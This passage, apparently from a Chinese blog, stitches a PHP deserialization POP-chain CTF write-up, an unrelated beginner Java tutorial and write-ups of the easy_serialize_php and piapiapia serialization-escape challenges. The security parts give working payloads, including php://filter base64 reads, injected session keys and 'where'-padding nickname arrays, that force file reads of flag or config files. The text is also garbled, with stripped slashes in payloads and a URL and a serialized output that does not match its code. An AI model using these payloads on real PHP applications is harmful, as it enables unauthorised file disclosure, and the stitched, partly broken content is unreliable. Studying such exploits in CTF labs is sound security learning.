__toString()魔术方法,有以下特征“$this->str->source”
所以说,我们可以给str属性赋值为Test类的对象,那么由于该对象没有source属性,那么就会调用Test类的__get()魔术方法
那么想要调用__toString魔术方法,就需要Show类的对象被当作字符串操作
很明显,我们的__wakeup()魔术方法,里面有source属性被当作字符串去比较,所以我们可以给source属性赋值为Show属性的对象
所以只要,我们可以利用反序列化,调用__wake()魔术方法,且source赋值为该类的对象,str属性赋值为Test类的对象即可

class Test{ 类,Test
    public $p; 公有属性,$p
    public function __construct(){ 公有构造方法,在类的对象实例化之前,自动被调用
        $this->p = array(); 属性$p初始化为数组
    }

    public function __get($key){ __get()魔术方法,访问该类中不可访问的属性,自动被调用
        $function = $this->p; 属性$this->p赋值给$function
        return $function(); 把$function调用为$function()函数
    }
}
很明显:
这里的属性$p可以触发,__invoke()魔术方法,所以只要给$p赋值为Modifier类的对象即可



if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

看到unserialize很明显就是序列化题目,首先先找明显的漏洞点或者输出点吧。

1
2
3
 public function append($value){
        include($value);
    }

include很明显是文件包含漏洞,一个伪协议就能出,这个在append函数里,那我们去找能够调用append的地方

1
2
3
   public function __invoke(){
        $this->append($this->var);
    }

__invoke一个魔术方法,在把对象当成函数使用时就会先调用这个方法,这里调用了这个魔术方法就会调用append,那么又去找什么地方能把对方当成函数使用

1
2
3
4
   public function __get($key){
        $function = $this->p;
        return $function();
    }

Test类里的__get魔术方法,作用是当我们访问不可访问或者不存在的属性时,就会先调用这个魔术方法,在这里调用了__get魔术方法就会将$p这个Test类属性作为function的值,然后将function作为函数使用,正好满足我们的需求。
回到__get这里,因为我们要寻找不可访问或者不存在的属性,这里不可访问的属性只有唯一的protected的$var,但是我们正好就是要调用这个属性所在的类,所以暂时不考虑这个,尝试去访问不存在的属性。

1
2
3
 public function __toString(){
        return $this->str->source;
    }

在这里我们发现比较蹊跷的地方,一般来说举个例子

1
2
3
class Sample{
    public $test;
}

我们访问一个类的成员属性,是这样的

1
$this->test

但是这里是$this->str->source
难道是属性的属性?(个人理解是不存在,所以我们可以尝试将$this->str赋一个对象,可能理解出现偏差,还要多看看WP)

所以这里就出现了不存在的属性!可以通过__toString这个魔术方法进行__get的调用,而__toString的作用是对象被作为字符串时,进行调用。

然后又去找什么时候对象被作为字符串

1
2
3
4
5
6
 public function __wakeup(){
        if(preg_match("gopher|http|file|ftp|https|dict|\.\.i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }

__wakeup魔术方法是指当对象被反序列化时先运行。这里会做一个判断,对$this->source进行正则匹配,过滤上述一些协议,但是因为我们之前已经知道了是用php伪协议,根本无伤大雅。重点是这里对$this-source进行正则匹配就会对其进行类型转换,将其从对象转换为字符串,才能正常进行比较字符串,所以我们也找到了突破口。
上下理下思路,整理Pop链:

1
反序列化->调用Show类中魔术方法__wakeup->preg_match()函数对Show类的属性source处理->调用Show类中魔术方法__toString->返回Show类的属性str中的属性source(此时这里属性source并不存在)->调用Test类中魔术方法__get->返回Test类的属性p的函数调用结果->调用Modifier类中魔术方法__invoke->include()函数包含目标文件(flag.php)

根据想法构建pop链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
#删除了源码中不必要的部分
class Modifier {
    protected  $var="php:filterread=convert.base64-encoderesource=flag.php";
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}
$a = new Show();
$b= new Show();
$a->source=$b;
$b->str=new Test();
($b->str)->p=new Modifier();
echo urlencode(serialize($a)); #因为Modifier类中的属性var为protected,将序列化后结果进行URL编码后可省略考虑不可见字符直接复制而丢失#结果为O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D?>

然后get传,获得base64解码一下就是答案。

1
2
3
4
5
6
7
__wakeup()-->__toString()-->__get()-->__invoke

__invoke()魔术方法:在类的对象被调用为函数时候,自动被调用
__toString()魔术方法:在类的对象被当作字符串操作的时候,自动被调用
__wakeup()魔术方法,在类的对象反序列化的时候,自动被调用
__construct()构造方法:在类的对象实例化之前,自动被调用
__get()魔术方法:从不可访问的属性中读取数据会触发

参考博客:
https:www.cnblogs.comArticle-kelpp14657419.html

sample:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package demo;           //声明包
public class TestJava{
/**
* 主方法
* 一个类如果用public声明 那么它必须与文件名一致
*/
public static void main(String[] args) {
int num;                                 //声明一个整型变量num
num = 5;                                 //赋值
System.out.println("这是数字"+num);      //输出
System.out.println("我有"+num+"本书!");  //输出
//System.out 标准输出流 与打印机、显示器相关
//println=print+line(换行)
//也可以使用print 就不会换行
}
}

首先可以明确的一点是,较于C语言,java程序中可以有多个类,每个类有一个main主体代表一切从这里开始,以上面的代码为例。

public static void main(String[] args)

public代表main方法是一个公共的方法,static代表是一个静态的。void与C语言中类似,可以理解为无返回值

  1. 标识符
    只能用字母,数字,下划线等组成,且数字不能作开头,也要避开关键字,跟C类似

  2. 注释

  • 单行 //
  • 多行 /**/
  • 文档 /*此处为代码 /**后再来个回车就有了
    3.数据类型(跟C大致一同,除了布尔)
1
2
3
4
整型:字节(byte)、短整型(short)、整型(int)、长整形(long)
浮点:单精度(float)、双精度(double)
字符:存储字符(char)
布尔:存储真假关系(boolean),里面只有两个值(true与false)

引用类型:
string(字符串)

class(类)

1
2
3
4
5
6
7
8
9
10
11
12
public class TestJava {
/**
* 主方法
* 一个类如果用public声明 那么它必须与文件名一致 如左边*.java
*/
public static void main(String[] args) {
int num = 10;
byte age = 20;
float price =12.5f;
double weight = 12.5;
}
}

数据类型是会根据情况自动转换的
1.自动类型转换:低到高

比如:byte a = 10;int num = b;

double d = 10;用system.out.println(d);会答应出10.0;

2.强制转换

double d = 10.1;

int a = 10;

此时输出会省略d的小数部分输出10;

此处注意 float f = 3.1是错误的,因为java中3.1默认为double,我们应该这样定义 float f =3.1f(大小写均可)或者float f =(float)f 3.1

上面主要是变量,接下来是常量

对于变量或者是常量,都需要先声明

1
2
3
语法: final 数据类型 常量名称 = 值
规范:常量名称通常使用大写字母,比如PI、YEAR等等
规则:常量名称符合标识符的要求,只能用字母、数字、_、$组成,不能以数字开头、不能使用关键词
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class TestFinal {
static final int YEAR = 365; //定义一个常量(在main外或者里面都可以)
//main方法是静态的 所以上面定义也要加static
public static void main(String[] args) {
System.out.println("一年有"+YEAR+"天");
System.out.println("两年有"+YEAR*2+"天"); 
}
}
如果把YEAR的定义放在main里面就可以不加
public class TestFinal{
public static void main(String[] args) {
final int YEAR = 365;
System.out.println("一年有"+YEAR+"天");
}

}

变量的声明和赋值已经在上文表明,就不再赘述了

1
2
3
4
5
6
7
8
9
10
public static void main(String[] args) {
int num = 10;
System.out.println("num="+num);
double money = 1000000;
System.out.println("money="+money);
num = 100;
System.out.println("num="+num);
char ch = 'z';
System.out.println("ch="+ch);
}

在java里,如果前后字符不是同一类型,那么在这种情况下+号充当连接符号
定义了常量和变量,那么他们也会有一定的作用范围,按照这个来分类,可以分为成员变量和局部变量

1.成员变量

在类体中定义的变量,作用范围为整个类,这个类中都可以访问到定义的这个变量

1
2
3
4
5
6
7
public class Test {
static int k = 1;   //即为成员变量---在类体中定义
public static void main(String[] args) {

}

}

2.局部变量
在一个函数(方法)或代码块中定义的变量

特点:局部变量在方法或代码块被执行的时候创建,在结束时被销毁

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class Test {

public static void main(String[] args) {
int a = 1;
//以下就是一个块
{
int b = 2;
System.out.println("a="+a);
System.out.println("b="+b);
}
int b = 3; //因为在上面执行结束后 代码块就被销毁了
System.out.println("a="+a);
System.out.println("b+"+b);
}

}

在java里,由{}大括号包围起来的部分代码,被称为代码块
成员变量和局部变量是可以重名的,当我们调用其的时候,会服从就近原则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class Test {
static int var = 1;
public static void main(String[] args) {
int var = 2;
System.out.println("the value of var = "+var);
}

}

例二:
public class Test {
static int var = 1;
public static void main(String[] args) {
int var = 2;
System.out.println("the value of var = "+var);
pt();
}
public static void pt() {
System.out.println("the value of var = "+var);
}

}

#如果不删除int var = 2,结果会显示 2,删除后则为1;

另外一个小知识:
Java在作用范围中禁止嵌套,在C/C++中是可以的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
报错
public static void main(String[] args) {
int a = 1;
{
int a =2
System.out.println("a="+a);
}
}
在C语言中正确
#include<stdio.h>

int main()
{
int a = 1;
{
int a=2;
printf("%d",a);
}
 } 

challenge1

1
2
3
4
5
6
7
8
9
10
1-100的累加和
public class Test{
public static void main(String[] args){
int sum = 0;
for(int i = 1;i <= 100;i++){
sum += i;
}
System.out.println("sum = " + sum);
}
}

数据类型空间大小

1
2
3
4
5
6
7
8
9
基本(没必要都记住)
字 节------byte------1字节
短整型------short------2字节
整 型------ int ------4字节
长整型------ long------8字节
布尔型------boolean—1bit
单精度------ float ------4字节
双精度------double------8字节
字 符------ char ------2字节

万物皆对象,但是像byte,short这种不是对象,所以我们需要由包装类引入对象的概念。通常我们在后面加一个点.就可以获得其属性

1
2
3
4
5
6
7
byte------Byte
short------Short
int------Integer
long-----Long
float-----Float
double-----Double
char------Character

以下代码作演示

1
2
3
4
5
6
7
8
public static void main(String[] args) {
byte byte_max = Byte.MAX_VALUE;   //最大值
byte byte_min = Byte.MIN_VALUE;   //最小值
System.out.println("the maximum of byte is "+byte_max);
System.out.println("the minimum of byte is "+byte_min);
System.out.println("byte对应的比特位"+Byte.SIZE); 
System.out.println("byte对应的类型"+Byte.TYPE);
}

拓展

1
2
3
4
5
6
7
8
在Java中数字默认是int类型;
所以在初始化赋值long类型时候应该 long 变量 = 1L;(L小写也可)
int num = 1; //定义一个int类型
long num1 = 1; //设计自动转换,因为在java中默认数字为int类型
long num 2 = 2L; //定义一个long类型
char ch = 91; 代表ch为’a‘;
当要查看 字符对应的ASCII码时
可以int ch2 = 'a';

数据类型转换(这里直接给个例子就行)

1
2
3
4
5
6
int a = 55,b = 9;
float g,h;
g = a / b;
h = (float)a / b;
System.out.println(g); //6.0
System.out.println(h); //6.111111111

基本数据类型的默认值

1
2
3
4
5
6
7
8
byte—(byte)0;
short—(short)0;
int—0;
long—0L;
float—0.0F;
double—0.0D;
char— ’ '或\u0000(也代表空,它为Unicode字符) 打印时像这样使用’\u0000‘
boolean—false

在C/C++中,非0数统一视为真,反则为假,在Java中因为有了布尔变量true和false,除此之外没有任何值,因而它和任何数字都无关

拓展

  • 打印int类型中最小值到最大值是否为偶数
    1
    2
    3
    4
    5
    6
    7
    public static void main(String[] args) {
    for(int i = Integer.MIN_VALUE;i<=Integer.MAX_VALUE;i++)
    {
    boolean isEven = (i%2==0);
    System.out.println("i = "+i+",isEven = "+isEven);
    也等价于 System.out.println("i=%d,isEven=%b",i,isEven);
    }
  • 拼接符号的使用
    “+”的功能:加法运算与拼接符号

加法运算:只有数字的时候,结果得到数字;

拼接符号:有字符串的时候,与字符串进行相加,得到字符串;

1
2
3
4
5
6
7
8
public static void main(String[] args) {
int x1 = 5;
int x2 = 2;
System.out.println(x1+x2);
System.out.println(x1+x2+"1");
System.out.println(x1+x2+"K");
System.out.println("A"+x1+x2);
}

运算符

1
2
3
4
5
6
7
8
1.1、赋值运算符(“=”)------太简单不深入了
但是还是提醒一下,左边必须是变量!!!避免0=1;的低级错误!!!
1.2、一元运算符
+/- ------正(负)号
!  ------ NOT,非
~   ------代表取补码
++ ------ 自增运算符
--   ------ 自减运算符

补码:

在OS底层中数值一致用补码进行运算和表示(存储):

主要原因:使用补码,可以将符号位和其他位统一进行处理,同时减法也可以当做加法来处理。另外,两个用补码表示的数相加时,如果最高位(符号位)有进位时,则进位被舍弃。

其中,正数的补码是它本身,而负整数的补码,将其原码除符号位外的所有位取反(0变1,1变0,符号位为1不变)后加1;

例如:求-5的补码。

-5对应正数5(00000101)→所有位取反(11111010)→加1(11111011)

所以-5的补码是11111011。

1.3 算数运算符不多说(+、-、*、/、%)

1.4 逻辑运算符(只对布尔类型进行操作并返回布尔类型数据)

&&/& —— 与

|| / | —— 或

! —— 非

Java中&&和&都是表示与的逻辑运算符,都表示逻辑运输符and,当两边的表达式都为true的时候,整个运算结果才为true,否则为false。

&&的短路功能,当第一个表达式的值为false的时候,则不再计算第二个表达式;&则两个表达式都执行。

&可以用作位运算符,当&两边的表达式不是Boolean类型的时候,&表示按位操作。

1
2
3
4
boolean b1 = 1<0 && 1/0==0;
boolean b2 = 1<0 & 1/0==0;
然后输出,会发现第一个1<0得到false不看后面的条件了
而第二个语句 在判断前面为假了以后 后面也会进行判断 但是后面是一个除0错误,所以会报错

表达式的类型转换:

原则:

(1)占用字节较少的数据类型转换成字节数较多的数据类型;

(2)字符类型会转换成int类型;

(3)int类型会转换成float类型;

(4)若表达式中其中一个类型为double,另一个操作数也会转double;

(5)布尔类型不能转换为其它类型;

1
2
3
4
5
6
7
8
9
10
public static void main(String[] args) {
char ch = 'b';
short a = -2;
int b = 3;
float f = 5.3f;
double d = 6.28;
System.out.print("(ch/a)-(d/f)-(a+b) = ");
System.out.println((ch/a)-(d/f)-(a+b));
}
//输出 (ch/a)-(d/f)-(a+b) = -51.18490561773532

3.1 &和&&以及||和|的关系

3.2 递增递减运算符

++1 1++ –1 1–;

3.3 位运算

小技巧:任何数与0000 0001进行或运算后,第一位将变成1;

任何数与1111 1110进行与运算后,第一位将变成0;

一个三目运算符的简单操作

1
2
3
4
5
6
7
//一个三目运算符的简单操作
public class ex {
public static void main(String[] args) {
boolean ret = ((12345679*9)>97654321*3)?true:false; 
System.out.println(ret);
}
}

②生成一个随机字母

1
2
3
4
5
6
7
8
public static void main(String[] args) {
double rand = Math.random(); //值为[0,1)的随机数
System.out.println(rand);
char c1 = (char)(97+(int)(Math.random()*26));
char c2 = (char)(65+(int)(Math.random()*26));
System.out.println("小写字母:"+c1);
System.out.println("大写字母:"+c2);
}

③随机生成一个小写字母并转换为大写

1
2
3
4
5
6
public static void main(String[] args) {
int num = 97+(int)(Math.random()*26);
char ch = (num>=97&&num<=122)?(char)(num-32):' ';
System.out.println("转换前:"+(char)num);
System.out.println("转换后:"+ch);
}

前置知识

序列化,就是将数据转换为一种可互逆的数据结构,所以逆向的过程就是反序列化

php 将数据序列化和反序列化会用到两个函数

serialize 将对象格式化成有序的字符串

unserialize 将字符串还原成原来的对象

举个简单的例子(数组):

1
2
3
4
5
<?php
$user=array('xiao','shi','zi');
$user=serialize($user);
echo($user.PHP_EOL);
print_r(unserialize($user));

序列化和反序列化后会输出以下

1
2
3
4
5
6
7
a:3:{i:0;s:4:"xiao";i:1;s:3:"shi";i:2;s:2:"zi";}
Array
(
    [0] => xiao
    [1] => shi
    [2] => zi
)

对以上例子讲解

1
2
3
4
5
6
a:3:{i:0;s:4:"xiao";i:1;s:3:"shi";i:2;s:2:"zi";}
a:array代表是数组,后面的3说明有三个属性
i:代表是整型数据int,后面的0是数组下标
s:代表是字符串,后面的4是因为xiao长度为4
    
根据不同的数据类型依次类推

另外序列化后其中的内容只会有成员变量,成员函数不会留存

1
2
3
4
5
6
7
8
9
10
<?php
class test{
    public $a;
    public $b;
    function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";}
    function happy(){return $this->a;}
}
$a = new test();
echo serialize($a);
?>

输出

1
O:4:"test":2:{s:1:"a";s:9:"xiaoshizi";s:1:"b";s:8:"laoshizi";}

基础知识到此为止,开始今天的正题

序列化字符逃逸:

字面意思,就是要把序列化字符中的某一些特定字符给逃逸出去来达到我们的要求或者说获取flag,直接拿题目

1.过滤后字符变少

[安洵杯 2019]easy_serialize_php

接着是题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

把重要的代码提出来

1
2
3
4
5
6
7
8
9
10
$function = @$_GET['f'];

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

通过分析可以知道,get传参f得到的变量由$function接收
$function发挥作用的代码块,在最下方的判断语句,判断语句中给了提示访问Phpinfo,会在里面看到很多配置信息,可以发现我们发现了auto_append_file d0g3_f1ag.php 在页面底部加载文件d0g3_f1ag.php。所以可以猜测flag应该要从d0g3_f1ag.php拿。

当f=show_image是可以读文件的,只要$userinfo[‘img’]是相应的flag.php的base64加密

变量覆盖:

1
2
3
4
5
6
7
8
if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

file函数是为了过滤一些黑名单字符串,往下发现unset把session给销毁了,重新赋予了新的值,再调用了extract()
extract() 函数从数组中将变量导入到当前的符号表

sample2:

当我们传入SESSION[flag]=123时,$SESSION[“user”]和$SESSION[‘function’] 全部会消失。只剩下_SESSION[flag]=123

1
2
3
4
5
6
7
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
var_dump($_SESSION);

图片

由于有了以上的代码,我们可以进行变量覆盖,直接给session[‘img’]一个预想的值是不现实的,因为session[‘img’]=base64_encode(‘guest_img.png’)后执行的

1
2
3
4
5
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

再来看下filter函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

把传入的字符串几个特定字符会替换成空
根据大佬的WP,这里运用了序列化字符逃逸的知识点

原理:因为序列化吼的字符串是严格的,对应的格式不能错,比如s:4:”name”,那s:4就必须有一个字符串长度是4的否则就往后要。

并且unserialize会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号后面的就都被扔掉。

1
2
3
4
5
6
7
<?php
#正规序列化的字符串
$a = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";}";
var_dump(unserialize($a));
#带有多余的字符的字符串
$a_laji = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";};s:3:\"真的垃圾img\";lajilaji";
var_dump(unserialize($a_laji));

以上就是逃逸概念的大概
如果我们把$_SESSION[‘img’]=base64_encode(‘guest_img.png’)这段代码的img属性放到花括号外边去,然后花括号中注好新的img属性,那么它本身要求的img就被我们替换了(这里就要用到之前的过滤函数)

根据大佬的payload来进行分析:

1
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

后面的base64也就是d0g3_f1ag.php
s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}是我们预期的序列化字符

现在的_SESSION存在phpflag和img对应的键值对

1
2
3
4
5
$_SESSION['phpflag']=";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump( serialize($_SESSION) );
#"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

经过filter过滤后phpflag就会被替换成空
s:7:”phpflag”;s:48:” 就变成了 s:7:””;s:48:”;即完成了逃逸。

两个键值分别被序列化成了

s:7:””;s:48:”;s:1:”1”,即键名为”;s:48:对应的值为一个字符串1.这个键值对只要能绕过就行

s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;

键名img对应的d0g3_f1ag.php的base64编码

右边花括号后面的;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;}”全都被遗弃忽略了

然后跑一下payload

可以发现

图片

将目录名(包括斜杠)进行base64加密L2QwZzNfZmxsbGxsbGFn,正好也是20位,应该是题目设置好了的,直接替换原来的就行

最后payload:

get:f=show_image

post: _SESSION[phpflag]=;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;}

反序列化逃逸:

主要是两个策略,值逃逸和键逃逸,上述方法是键逃逸,这里给出值逃逸

构造一个含有三个键值对的数组,第一个元素的值被过滤后向后延续第二个元素的键

_SESSION[c]=phpphpphpphpphp&_SESSION[d]=;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;s:2:”dd”;s:1:”a”;}

1
a:2:{s:1:"c";s:15:"phpphpphpphpphp";s:1:"d";s:57:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}

再一次经过filter函数处理后变成了

1
a:2:{s:1:"c";s:15:"";s:1:"d";s:57:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}

为什么后面还要加个;s:2:"dd";s:1:"a";}。因为加入3中给定的img参数后数组的键值对个数变成了3个即a:3。为了逃逸3必须新加入一个键值对。

2.过滤后字符变多

[0CTF 2016]piapiapia

(反序列化字符逃逸)

初以为是sql注入,随便尝试了下顺便在F12里找了下没找到任何信息,进行扫描,发现有WWW.zip源码泄露,在config.php里发现了flag,应该知道flag要去访问config.php,接着就开始代码审计

可以发现在class.php中有本题关键的两个类和相关函数,其中的函数写的较为全面(增改查都涉及)、认真(变量有单引号保护且过滤了单引号和一些关键词),若想注入恐怕需要费点功夫,其余的php文件亮点不多、比较平常,但还有三个点需要注意

一是update.php里有一个序列化操作,与之对应的有一个反序列化操作,在注入可能不好用的情况下,这很有可能是本题的关键

图片

图片

二是update.php里对传入的变量做了简单的检查,

1
2
3
4
5
6
7
8
9
10
11
12
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

这里比较有意思的是,前两个是没有按相应规则匹配到文本则执行die()函数,也就是说无论preg_match()返回值为0或null或false皆会die出,而第三个检查则不是这样,是如果匹配到非字母数字或nickname长度大于10则die出,这里我们就可以操作了,控制nickname为一个数组,这样的话两个判断条件为false或NULL,故不会die,所以可以判断这里是出题人故意设计的,可以从控制nickname这里触发
三是有profile.php的功能是展示文件,说是展示,实为读取

1
2
3
4
5
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));

这里的file_get_contents是唯一可以读取文件的点,所以要从这里去读取config.php.大体思路是有的
update.php中有一个$profile数组变量,这个数组里有$phone, $email, $nickname, $photo几个变量,序列化后以profile字段存入数据库,而我们如果能控制photo变量为”config.php”,则能在访问profile.php时获得base64编码之后的config.php源码

整理Pop链:

1
profile.php的file_get_contents =》 show_profile() =》 class.php里的select() =》 数据库 =》 class.php里的update() =》 update_profile() =》 update.php里调用传参。

所以目前最主要的是去控制$photo这个参数

1
2
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));

这里看了WP才知道,是要用反序列化的字符逃逸
首先要明确一个知识点,php反序列化中值的字符读取多少是由表示长度的数字来控制,只要整个字符串的前一部分能够反序列化,剩余部分会被丢弃

举个例子

图片

图片

以上是正常序列化

图片

原来的字符串Northind内被填充了几个字符串,先是 “”” 三个双引号,再是正常结尾时需要有的 “;} 三个字符,在PHP进行反序列化时,由字符串初始位置向后读取8个字符,即使遇到字符串分解符单双引号也会继续向下读,此处读取到 North””” ,而后遇到了正常的结束符,达成了正常反序列化的条件,反序列化结束,后面的 ind”;}  几个字符均被丢弃

这里借大佬的一个例子https://www.cnblogs.com/litlife/p/11690918.html

图片
图片

图片

这里的username我们可控,bad_str函数会把反序列化后的字符串中的单引号替换“no”,我们做个分析,尝试着修改该用户的签名,用到的当然是本题的知识点

我们要记住一点,我们的字符串是在某变量被反序列化得到的字符串受某函数的所谓过滤处理后得到的,而且经过处理之后,字符串的某一部分会加长,但描述其长度的数字没有改变(该数字由反序列化时变量的属性决定),就有可能导致PHP在按该数字读取相应长度字符串后,本来属于该字符串的内容逃逸出了该字符串的管辖范围,轻则反序列化失败,重则自成一家成为一个独立于原字符串的变量,若是这个独立出来的变量末尾是个 “;} ,则可能会导致反序列化成功结束,后面的内容也就被丢弃了。此处能逃逸的字符串的长度由经过滤后字符串增加的长度决定,如上图第四个语句,@号内就是我们要逃逸出来的字符串,长度为33,百分号内为我们输入的username变量,要想让@号内的字符串逃逸,就需要原来的字符串增长33,这样的话@号内的字符串被挤出,username的正常部分和增长的部分正好被PHP解析为一整个变量,@号内的内容就被解析为一个独立的变量,而且因为它的最后有 “;} ,使反序列化成功结束。

为了增长33,我们需要username里加入33个单引号,它们会被替换为33个no,使长度增加33,由此以来,上图中x的值也可以确定了,输入的username即为Northind’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’”;i:1;s:18:”Today is Northind!”;},x为它的长度(74),所以我们最后得到的字符串为:

a:2:{i:0;s:74:”Northind’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’”(注意最后这里是个双引号);i:1;s:18:”Today is Northind!”;};i:1;s:15:”Today is Mondy!”;}

图片

我们可以看到,在这个反序列化字符串被过滤后,里面的单引号全部被替换为“no”,使”Northind”+”no”*33的长度之和等于74,配合上我们传入的”,满足PHP反序列化的条件之一,后面的”;i:1;s:18:”Today is Northind!”;}先闭合了一个变量的正确格式,又写入了一个变量正确格式,最后闭合了一个反序列化操作。该挤出的被挤出逃逸了,该丢弃的丢弃了。

实际传个username变量进去看看

图片

成功了。回到本题,因为要用到序列化字符逃逸,肯定要先把变量序列化,再进行过滤对应字符,过滤过程中把对应字符替换成长度更长的字符导致长度加长,引起逃逸,在class.php中可以看到

1
2
3
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);

只有传入where时替换替换为hacker才能让长度加一否则长度不变
接着来分析,目标变量是$profile,结合之前的那个数组绕过,举一个例子:

1
a:4:{s:5:"phone";s:11:"66666666666";s:5:"email";s:10:"111@qq.com";s:8:"nickname";a:1:{i:0;s:5:"hanzo";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

因为要把phpoto改为config.php,先把目标payload给构造了

1
a:4:{s:5:"phone";s:11:"66666666666";s:5:"email";s:10:"111@qq.com";s:8:"nickname";a:1:{i:0;s:5:hanzo";}s:5:"photo";s:10:"config.php";};}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

要逃逸的部分为

1
";}s:5:"photo";s:10:"config.php";}

长度为34,所以需要在nickname[0]里添加34个where才能成功逃逸
目标字符串

1
a:4:{s:5:"phone";s:11:"66666666666";s:5:"email";s:10:"111@qq.com";s:8:%nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:10:"config.php";}%;}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

尝试抓包改参数
图片

上传成功,报错是因为nickname是数组形式,然后打开图片解码base64就行(做了好久终于会了!)